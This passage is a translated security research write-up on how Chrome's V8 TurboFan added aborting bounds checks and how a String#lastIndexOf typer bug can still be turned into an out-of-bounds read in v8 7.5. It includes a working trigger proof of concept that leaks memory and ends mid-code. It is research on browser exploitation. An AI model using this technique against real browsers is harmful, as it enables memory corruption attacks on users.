绕过Chrome对类型错误的强化
引言
一些最近的Chrome漏洞利用利用了边界检查消除(Bounds-Check-Elimination)技术,从TurboFan的类型错误(typer bug)中获取读写原语。类型错误是在代码优化过程中错误计算类型信息的漏洞。在简化降低(simplified lowering)阶段访问CheckBounds节点时,如果引擎能保证使用的索引始终在边界内,则认为CheckBounds是冗余的并移除。我在之前的文章中解释过这一点。
最近,TurboFan引入了一个变更,添加了中止边界检查。这意味着在简化降低期间,CheckBounds节点永远不会被移除。正如Mark Brand在Google Project Zero博客上的文章和tsuro在zer0con演讲中提到的,这可能对漏洞利用造成问题。
这篇短文讨论了这一强化变更,以及如何针对最新版本的v8利用类型错误。作为一个示例,我提供了一个在v8 7.5.0上工作的漏洞利用样本。
目录
- 引言
- 中止边界检查的引入
- 简化降低
- 效果线性化
- 实验
- 类型错误
- 结论
- 参考文献
中止边界检查的引入
中止边界检查由以下提交引入:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
commit 7bb6dc0e06fa158df508bc8997f0fce4e33512a5
Author: Jaroslav Sevcik <jarin@chromium.org>
Date: Fri Feb 8 16:26:18 2019 +0100
[turbofan] Introduce aborting bounds checks.
Instead of eliminating bounds checks based on types, we introduce
an aborting bounds check that crashes rather than deopts.
Bug: v8:8806
Change-Id: Icbd9c4554b6ad20fe4135b8622590093679dac3f
Reviewed-on: https://chromium-review.googlesource.com/c/1460461
Commit-Queue: Jaroslav Sevcik <jarin@chromium.org>
Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#59467}
|
简化降低
首先,变更的是simplified-lowering.cc中的CheckBounds节点访问器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
CheckParameters const& p = CheckParametersOf(node->op());
Type const index_type = TypeOf(node->InputAt(0));
Type const length_type = TypeOf(node->InputAt(1));
if (length_type.Is(Type::Unsigned31())) {
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower()) {
CheckBoundsParameters::Mode mode =
CheckBoundsParameters::kDeoptOnOutOfBounds;
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
mode = CheckBoundsParameters::kAbortOnOutOfBounds; // [1]
}
NodeProperties::ChangeOp(
node, simplified()->CheckedUint32Bounds(p.feedback(), mode)); // [2]
}
// [...]
}
|
在提交之前,如果条件[1]发生,边界检查将通过调用DeferReplacement(node, node->InputAt(0));
被移除。现在,发生的是节点被降低为具有AbortOnOutOfBounds
模式的CheckedUint32Bounds
[2]。
效果线性化
当效果控制线性化器(优化阶段之一)启动时,CheckedUint32Bounds
被降低如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
Node* EffectControlLinearizer::LowerCheckedUint32Bounds(Node* node,
Node* frame_state) {
Node* index = node->InputAt(0);
Node* limit = node->InputAt(1);
const CheckBoundsParameters& params = CheckBoundsParametersOf(node->op());
Node* check = __ Uint32LessThan(index, limit);
switch (params.mode()) {
case CheckBoundsParameters::kDeoptOnOutOfBounds:
__ DeoptimizeIfNot(DeoptimizeReason::kOutOfBounds,
params.check_parameters().feedback(), check,
frame_state, IsSafetyCheck::kCriticalSafetyCheck);
break;
case CheckBoundsParameters::kAbortOnOutOfBounds: {
auto if_abort = __ MakeDeferredLabel();
auto done = __ MakeLabel();
__ Branch(check, &done, &if_abort);
__ Bind(&if_abort);
__ Unreachable();
__ Goto(&done);
__ Bind(&done);
break;
}
}
return index;
}
|
简而言之,CheckedUint32Bounds
被一个Uint32LessThan
节点(加上索引和限制节点)替换。在越界的情况下,将没有去优化可能,而是会到达一个Unreachable
节点。
在指令选择期间,Unreachable
节点被断点操作码替换。
1
2
3
4
|
void InstructionSelector::VisitUnreachable(Node* node) {
OperandGenerator g(this);
Emit(kArchDebugBreak, g.NoOutput());
}
|
实验
普通行为
首先实验一些正常行为,以了解边界检查的情况。考虑以下代码:
1
2
3
4
5
6
7
8
9
|
var opt_me = () => {
let arr = [1,2,3,4];
let badly_typed = 0;
let idx = badly_typed * 5;
return arr[idx];
};
opt_me();
%OptimizeFunctionOnNextCall(opt_me);
opt_me();
|
通过这个例子,我们将观察几件事:
- 简化降低不会像以前那样移除CheckBounds节点,
- 该节点的降低以及它如何导致创建Unreachable节点,
- 最终,边界检查将被完全移除(这是正确和预期的)。
CheckBounds的类型化
不出所料,在类型化阶段生成了一个CheckBounds节点,并获得了Range(0,0)的类型。
CheckBounds降低为CheckedUint32Bounds
CheckBounds节点在简化降低期间没有被移除,而是被降低为CheckedUint32Bounds。
效果线性化:CheckedUint32Bounds到Uint32LessThan与Unreachable
让我们看看效果线性化。
CheckedUint32Bounds被几个节点替换。代替这个边界检查节点,有一个Uint32LessThan节点,它要么导致LoadElement节点,要么导致Unreachable节点。
后期优化:MachineOperatorReducer和DeadCodeElimination
似乎很明显,Uint32LessThan可以被降低为常量true(Int32Constant)。在Uint32LessThan被常量节点替换的情况下,其余代码,包括Unreachable节点,将被死代码消除移除。因此,没有边界检查保留,无论尝试任何OOB访问,都不会达到断点。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
// Perform constant folding and strength reduction on machine operators.
Reduction MachineOperatorReducer::Reduce(Node* node) {
switch (node->opcode()) {
// [...]
case IrOpcode::kUint32LessThan: {
Uint32BinopMatcher m(node);
if (m.left().Is(kMaxUInt32)) return ReplaceBool(false); // M < x => false
if (m.right().Is(0)) return ReplaceBool(false); // x < 0 => false
if (m.IsFoldable()) { // K < K => K
return ReplaceBool(m.left().Value() < m.right().Value());
}
if (m.LeftEqualsRight()) return ReplaceBool(false); // x < x => false
if (m.left().IsWord32Sar() && m.right().HasValue()) {
Int32BinopMatcher mleft(m.left().node());
if (mleft.right().HasValue()) {
// (x >> K) < C => x < (C << K)
// when C < (M >> K)
const uint32_t c = m.right().Value();
const uint32_t k = mleft.right().Value() & 0x1F;
if (c < static_cast<uint32_t>(kMaxInt >> k)) {
node->ReplaceInput(0, mleft.left().node());
node->ReplaceInput(1, Uint32Constant(c << k));
return Changed(node);
}
// TODO(turbofan): else the comparison is always true.
}
}
break;
}
// [...]
|
最终调度:不再有边界检查
为了观察生成的代码,首先看看最终调度阶段,确认最终只剩下索引0的Load。
生成的汇编代码
在这种情况下,TurboFan正确理解不需要边界检查,并简单生成了一个mov指令movq rax, [fixed_array_base + offset_to_element_0]
。
总结:
arr[good_idx]
在早期阶段导致创建CheckBounds节点
- 在“简化降低”期间,它被中止的CheckedUint32Bounds替换
- CheckedUint32Bounds在“效果线性化”期间被几个节点替换:Uint32LessThan和Unreachable
- Uint32LessThan在“后期优化”阶段被常量折叠
- Unreachable节点在“后期优化”阶段的死代码消除中被移除
- 在最终调度期间只剩下一个简单的Load
- 生成的汇编是一个简单的mov指令,没有边界检查
类型错误
让我们考虑String#lastIndexOf错误,其中kStringIndexOf和kStringLastIndexOf的类型化不正确。计算出的类型是:
Type::Range(-1.0, String::kMaxLength - 1.0, t->zone())
而不是Type::Range(-1.0, String::kMaxLength, t->zone())
。这是不正确的,因为String#indexOf和String#lastIndexOf都可以返回kMaxLength的值。你可以在我的github上找到更多关于这个错误的细节。
即使引入了中止边界检查,这个错误也是可利用的。所以让我们在v8 7.5上重新引入并利用它。
总结,如果我们在长度为kMaxLength的字符串上使用lastIndexOf,计算出的Range类型将是kMaxLength - 1,而它实际上是kMaxLength。
1
2
|
const str = "____"+"DOARE".repeat(214748359);
String.prototype.lastIndexOf.call(str, ''); // 类型化为kMaxLength-1而不是kMaxLength
|
然后我们可以放大这个类型错误。
1
2
3
|
let badly_typed = String.prototype.lastIndexOf.call(str, '');
badly_typed = Math.abs(Math.abs(badly_typed) + 25);
badly_typed = badly_typed >> 30; // 类型是Range(0,0)而不是Range(1,1)
|
如果这一切看起来不清楚,请查看我之前的TurboFan介绍和我的github。
现在,考虑以下触发poc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
SUCCESS = 0;
FAILURE = 0x42;
const str = "____"+"DOARE".repeat(214748359);
let it = 0;
var opt_me = () => {
const OOB_OFFSET = 5;
let badly_typed = String.prototype.lastIndexOf.call(str, '');
badly_typed = Math.abs(Math.abs(badly_typed) + 25);
badly_typed = badly_typed >> 30;
let bad = badly_typed * OOB_OFFSET;
let leak = 0;
if (bad >= OOB_OFFSET && ++it < 0x10000) {
leak = 0;
}
else {
let arr = new Array(1.1,1.1);
arr2 = new Array({},{});
leak = arr[bad];
if (leak != undefined) {
return leak;
}
}
return FAILURE;
};
let res = opt_me();
for (let i = 0; i < 0x10000; ++i)
res = opt_me();
%DisassembleFunction(opt_me); // 在发布版本上不打印任何内容
for (let i = 0; i < 0x10000; ++i)
res = opt_me();
print(res);
%DisassembleFunction(opt_me); // 在发布版本上不打印任何内容
|
检查结果:
1
2
|
$ d8 poc.js
1.5577100569205e-310
|
尽管有那些中止边界检查,它还是工作了。为什么?
行leak = arr[bad]
没有导致任何CheckBounds消除,但我们没有执行任何Unreachable节点(也就是断点指令)。
元素访问的本地上下文专门化
答案在于本地上下文专门化。这是一个早期优化阶段,编译器有机会以利用其对代码执行上下文的知识的方式专门化代码。
第一个优化阶段之一是内联阶段,包括本地上下文专门化。对于元素访问,上下文专门化在JSNativeContextSpecialization::BuildElementAccess中完成。
有一个情况看起来非常有趣,当load_mode是LOAD_IGNORE_OUT_OF_BOUNDS时。
1
2
3
4
5
6
7
8
9
|
} else if (load_mode == LOAD_IGNORE_OUT_OF_BOUNDS &&
CanTreatHoleAsUndefined(receiver_maps)) {
// Check that the {index} is a valid array index, we do the actual
// bounds check below and just skip the store below if it's out of
// bounds for the {receiver}.
index = effect = graph()->NewNode(
simplified()->CheckBounds(VectorSlotPair()), index,
jsgraph()->Constant(Smi::kMaxValue), effect, control);
} else {
|
在这种情况下,CheckBounds节点检查索引对Smi::kMaxValue的长度。
实际的边界检查节点添加如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
if (load_mode == LOAD_IGNORE_OUT_OF_BOUNDS &&
CanTreatHoleAsUndefined(receiver_maps)) {
Node* check =
graph()->NewNode(simplified()->NumberLessThan(), index, length); // [1]
Node* branch = graph()->NewNode(
common()->Branch(BranchHint::kTrue,
IsSafetyCheck::kCriticalSafetyCheck),
check, control);
Node* if_true = graph()->NewNode(common()->IfTrue(), branch); // [2]
Node* etrue = effect;
Node* vtrue;
{
// Perform the actual load
vtrue = etrue =
graph()->NewNode(simplified()->LoadElement(element_access), // [3]
elements, index, etrue, if_true);
// [...]
}
// [...]
}
|
简而言之,使用这种模式:
- CheckBounds检查索引对Smi::kMaxValue(0x7FFFFFFF),
- 生成一个NumberLessThan节点,
- 生成一个IfTrue节点,
- 在“true”分支中,将有一个LoadElement节点。
NumberLessThan节点使用的长度来自先前生成的LoadField:
1
2
3
4
5
6
7
8
9
|
Node* length = effect =
receiver_is_jsarray
? graph()->NewNode(
simplified()->LoadField(
AccessBuilder::ForJSArrayLength(elements_kind)),
receiver, effect, control)
: graph()->NewNode(
simplified()->LoadField(AccessBuilder::ForFixedArrayLength()),
elements, effect, control);
|
所有这些意味着TurboFan确实生成了一些边界检查节点,但由于使用了kMaxValue长度,不会有任何中止边界检查(嗯,技术上是有,但最大长度不太可能达到!)。
NumberLessThan的类型缩小和常量折叠
在类型化阶段之后,节点海洋包含一个NumberLessThan,它将一个错误类型的值与正确的数组长度进行比较。这很有趣,因为TyperNarrowingReducer将用op_typer_.singleton_true()
[1]改变类型[2]。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
case IrOpcode::kNumberLessThan: {
// TODO(turbofan) Reuse the logic from typer.cc (by integrating relational
// comparisons with the operation typer).
Type left_type = NodeProperties::GetType(node->InputAt(0));
Type right_type = NodeProperties::GetType(node->InputAt(1));
if (left_type.Is(Type::PlainNumber()) &&
right_type.Is(Type::PlainNumber())) {
if (left_type.Max() < right_type.Min()) {
new_type = op_typer_.singleton_true(); // [1]
} else if (left_type.Min() >= right_type.Max()) {
new_type = op_typer_.singleton_false();
}
}
break;
}
// [...]
Type original_type = NodeProperties::GetType(node);
Type restricted = Type::Intersect(new_type, original_type, zone());
if (!original_type.Is(restricted)) {
NodeProperties::SetType(node, restricted); // [2]
return Changed(node);
}
|
多亏了这一点,ConstantFoldingReducer然后将简单地移除NumberLessThan节点并用HeapConstant节点替换它。
1
2
3
4
5
6
7
8
|
Reduction ConstantFoldingReducer::Reduce(Node* node) {
DisallowHeapAccess no_heap_access;
// Check if the output type is a singleton. In that case we already know the
// result value and can simply replace the node if it's eliminable.
if (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&
node->op()->HasProperty(Operator::kEliminatable)) {
// TODO(v8:5303): We must not eliminate FinishRegion here. This special
// case can be removed once we have separate operators for value and
|